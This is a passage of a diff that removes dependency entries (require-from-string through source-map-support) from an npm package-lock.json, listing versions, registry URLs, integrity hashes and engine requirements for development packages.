"version": "1.2.1", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-1.2.1.tgz", - "integrity": "sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true - }, - "node_modules/require-uncached": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", - "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", - "dev": true, - "dependencies": { - "caller-path": "^0.1.0", - "resolve-from": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/requireg": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/requireg/-/requireg-0.1.8.tgz", - "integrity": "sha512-qjbwnviLXg4oZiAFEr1ExbevkUPaEiP1uPGSoFCVgCCcbo4PXv9SmiJpXNYmgTBCZ8fY1Jy+sk7F9/kPNepeDw==", - "dev": true, - "dependencies": { - "nested-error-stacks": "~2.0.1", - "rc": "~1.2.7", - "resolve": "~1.7.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/requireg/node_modules/resolve": { - "version": "1.7.1", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.7.1.tgz", - "integrity": "sha512-c7rwLofp8g1U+h1KNyHL/jicrKg1Ek4q+Lr33AL65uZTinUZHe30D5HlyN5V9NW0JX1D5dXQ4jqW5l7Sy/kGfw==", - "dev": true, - "dependencies": { - "path-parse": "^1.0.5" - } - }, - "node_modules/resolve": { - "version": "1.20.0", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", - "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", - "dev": true, - "dependencies": { - "is-core-module": "^2.2.0", - "path-parse": "^1.0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/resolve-from": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", - "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/resolve-url": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", - "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", - "deprecated": "https://github.com/lydell/resolve-url#deprecated", - "dev": true - }, - "node_modules/resq": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/resq/-/resq-1.5.0.tgz", - "integrity": "sha512-6US6oo2fQ/vgs7wBwqq1w9901Z5VEDgxQH0LrNaN8HcHUZInhtrIt1a0Icysu0vuoK26Bt+SR1dIYeR9+ftMxA==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^2.0.1" - } - }, - "node_modules/resq/node_modules/fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "node_modules/restore-cursor": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", - "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", - "dev": true, - "dependencies": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/ret": { - "version": "0.1.15", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", - "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", - "dev": true, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/rgb-regex": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz", - "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE=", - "dev": true - }, - "node_modules/rgba-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz", - "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=", - "dev": true - }, - "node_modules/right-align": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", - "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", - "dev": true, - "dependencies": { - "align-text": "^0.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, - "dependencies": { - "glob": "^7.0.5" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/rimraf/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/ripemd160": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", - "integrity": "sha1-D0WEKVxTo2KK9+bXmsohzlfRxuc=", - "dev": true, - "dependencies": { - "hash-base": "^2.0.0", - "inherits": "^2.0.1" - } - }, - "node_modules/run-async": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", - "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", - "dev": true, - "dependencies": { - "is-promise": "^2.1.0" - }, - "engines": { - "node": ">=0.12.0" - } - }, - "node_modules/run-queue": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", - "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", - "dev": true, - "dependencies": { - "aproba": "^1.1.1" - } - }, - "node_modules/rx-lite": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-4.0.8.tgz", - "integrity": "sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=", - "dev": true - }, - "node_modules/rx-lite-aggregates": { - "version": "4.0.8", - "resolved": "https://registry.npmjs.org/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz", - "integrity": "sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=", - "dev": true, - "dependencies": { - "rx-lite": "*" - } - }, - "node_modules/rxjs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.2.tgz", - "integrity": "sha512-HUb7j3kvb7p7eCUHE3FqjoDsC1xfZQ4AHFWfTKSpZ+sAhhz5X1WX0ZuUqWbzB2QhSLp3DoLUG+hMdEDKqWo2Zg==", - "dev": true, - "dependencies": { - "tslib": "^1.9.0" - }, - "engines": { - "npm": ">=2.0.0" - } - }, - "node_modules/safe-buffer": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", - "dev": true - }, - "node_modules/safe-json-parse": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz", - "integrity": "sha1-PnZyPjjf3aE8mx0poeB//uSzC1c=", - "dev": true - }, - "node_modules/safe-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", - "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", - "dev": true, - "dependencies": { - "ret": "~0.1.10" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true - }, - "node_modules/sass-graph": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", - "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", - "dev": true, - "dependencies": { - "glob": "^7.0.0", - "lodash": "^4.0.0", - "scss-tokenizer": "^0.2.3", - "yargs": "^7.0.0" - }, - "bin": { - "sassgraph": "bin/sassgraph" - } - }, - "node_modules/sass-loader": { - "version": "6.0.7", - "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-6.0.7.tgz", - "integrity": "sha512-JoiyD00Yo1o61OJsoP2s2kb19L1/Y2p3QFcCdWdF6oomBGKVYuZyqHWemRBfQ2uGYsk+CH3eCguXNfpjzlcpaA==", - "dev": true, - "dependencies": { - "clone-deep": "^2.0.1", - "loader-utils": "^1.0.1", - "lodash.tail": "^4.1.1", - "neo-async": "^2.5.0", - "pify": "^3.0.0" - }, - "engines": { - "node": ">= 4.3 < 5.0.0 || >= 5.10" - }, - "peerDependencies": { - "node-sass": "^4.0.0", - "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" - } - }, - "node_modules/sass-loader/node_modules/pify": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", - "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", - "dev": true - }, - "node_modules/schema-utils": { - "version": "0.4.5", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.5.tgz", - "integrity": "sha512-yYrjb9TX2k/J1Y5UNy3KYdZq10xhYcF8nMpAW6o3hy6Q8WSIEf9lJHG/ePnOBfziPM3fvQwfOwa13U/Fh8qTfA==", - "dev": true, - "dependencies": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - }, - "engines": { - "node": ">= 4.8.0 || >= 6.9.0 || >= 8.9.0" - }, - "peerDependencies": { - "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" - } - }, - "node_modules/schema-utils/node_modules/ajv": { - "version": "6.5.1", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.1.tgz", - "integrity": "sha512-pgZos1vgOHDiC7gKNbZW8eKvCnNXARv2oqrGQT7Hzbq5Azp7aZG6DJzADnkuSq7RH6qkXp4J/m68yPX/2uBHyQ==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" - } - }, - "node_modules/schema-utils/node_modules/ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "peerDependencies": { - "ajv": "^6.0.0" - } - }, - "node_modules/schema-utils/node_modules/fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "node_modules/schema-utils/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/scss-tokenizer": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", - "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", - "dev": true, - "dependencies": { - "js-base64": "^2.1.8", - "source-map": "^0.4.2" - } - }, - "node_modules/scss-tokenizer/node_modules/source-map": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", - "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", - "dev": true, - "dependencies": { - "amdefine": ">=0.0.4" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/serialize-javascript": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", - "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", - "dev": true - }, - "node_modules/set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, - "node_modules/set-immediate-shim": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", - "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/set-value": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", - "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", - "deprecated": "Critical bug fixed in v3.0.1, please upgrade to the latest version.", - "dev": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/set-value/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/setimmediate": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", - "dev": true - }, - "node_modules/sha.js": { - "version": "2.4.8", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.8.tgz", - "integrity": "sha1-NwaMLEdra69ALRSknGf1l5IfY08=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1" - }, - "bin": { - "sha.js": "bin.js" - } - }, - "node_modules/shallow-clone": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", - "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.1", - "kind-of": "^5.0.0", - "mixin-object": "^2.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shallow-clone/node_modules/kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shasum": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/shasum/-/shasum-1.0.2.tgz", - "integrity": "sha1-5wEjENj0F/TetXEhUOVni4euVl8=", - "dev": true, - "dependencies": { - "json-stable-stringify": "~0.0.0", - "sha.js": "~2.4.4" - } - }, - "node_modules/shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", - "dev": true, - "dependencies": { - "shebang-regex": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/shell-quote": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.6.1.tgz", - "integrity": "sha1-9HgZSczkAmlxJ0MOo7PFR29IF2c=", - "dev": true, - "dependencies": { - "array-filter": "~0.0.0", - "array-map": "~0.0.0", - "array-reduce": "~0.0.0", - "jsonify": "~0.0.0" - } - }, - "node_modules/shelljs": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.3.0.tgz", - "integrity": "sha1-NZbmMHp4FUT1kfN9phg2DzHbV7E=", - "dev": true, - "bin": { - "shjs": "bin/shjs" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/shx": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/shx/-/shx-0.2.2.tgz", - "integrity": "sha1-CjBNAgsO3xMGrYFXDoDwNG31ijk=", - "dev": true, - "dependencies": { - "es6-object-assign": "^1.0.3", - "minimist": "^1.2.0", - "shelljs": "^0.7.3" - }, - "bin": { - "shx": "lib/cli.js" - } - }, - "node_modules/shx/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/shx/node_modules/shelljs": { - "version": "0.7.8", - "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.7.8.tgz", - "integrity": "sha1-3svPh0sNHl+3LhSxZKloMEjprLM=", - "dev": true, - "dependencies": { - "glob": "^7.0.0", - "interpret": "^1.0.0", - "rechoir": "^0.6.2" - }, - "bin": { - "shjs": "bin/shjs" - }, - "engines": { - "iojs": "*", - "node": ">=0.11.0" - } - }, - "node_modules/sigmund": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/sigmund/-/sigmund-1.0.1.tgz", - "integrity": "sha1-P/IfGYytIXX587eBhT/ZTQ0ZtZA=", - "dev": true - }, - "node_modules/signal-exit": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "dev": true - }, - "node_modules/simple-concat": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.0.tgz", - "integrity": "sha1-c0TLuLbib7J9ZrL8hvn21Zl1IcY=", - "dev": true - }, - "node_modules/simple-get": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.7.0.tgz", - "integrity": "sha512-RkE9rGPHcxYZ/baYmgJtOSM63vH0Vyq+ma5TijBcLla41SWlh8t6XYIGMR/oeZcmr+/G8k+zrClkkVrtnQ0esg==", - "dev": true, - "optional": true, - "dependencies": { - "decompress-response": "^3.3.0", - "once": "^1.3.1", - "simple-concat": "^1.0.0" - } - }, - "node_modules/simple-swizzle": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz", - "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=", - "dev": true, - "dependencies": { - "is-arrayish": "^0.3.1" - } - }, - "node_modules/simple-swizzle/node_modules/is-arrayish": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz", - "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==", - "dev": true - }, - "node_modules/slash": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", - "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/slice-ansi": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-1.0.0.tgz", - "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", - "dev": true, - "dependencies": { - "is-fullwidth-code-point": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/snapdragon": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", - "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", - "dev": true, - "dependencies": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", - "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", - "dev": true, - "dependencies": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "dependencies": { - "is-descriptor": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "dependencies": { - "kind-of": "^6.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "dependencies": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-node/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon-util": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", - "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", - "dev": true, - "dependencies": { - "kind-of": "^3.2.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/snapdragon/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/sort-keys": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", - "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", - "dev": true, - "dependencies": { - "is-plain-obj": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-list-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.0.tgz", - "integrity": "sha1-qqR0A/eyRakvvJfqCPJQ1gh+0IU=", - "dev": true - }, - "node_modules/source-map": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.6.tgz", - "integrity": "sha1-dc449SvwczxafwwRjYEzSiu19BI=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-resolve": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", - "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", - "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated", - "dev": true, - "dependencies": { - "atob": "^2.1.1", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" - } - }, - "node_modules/source-map-support": { - "version": "0.4.18", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz", - "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", - "dev": true, - "dependencies": { - "source-map": "^0.5.6" - } - }, - 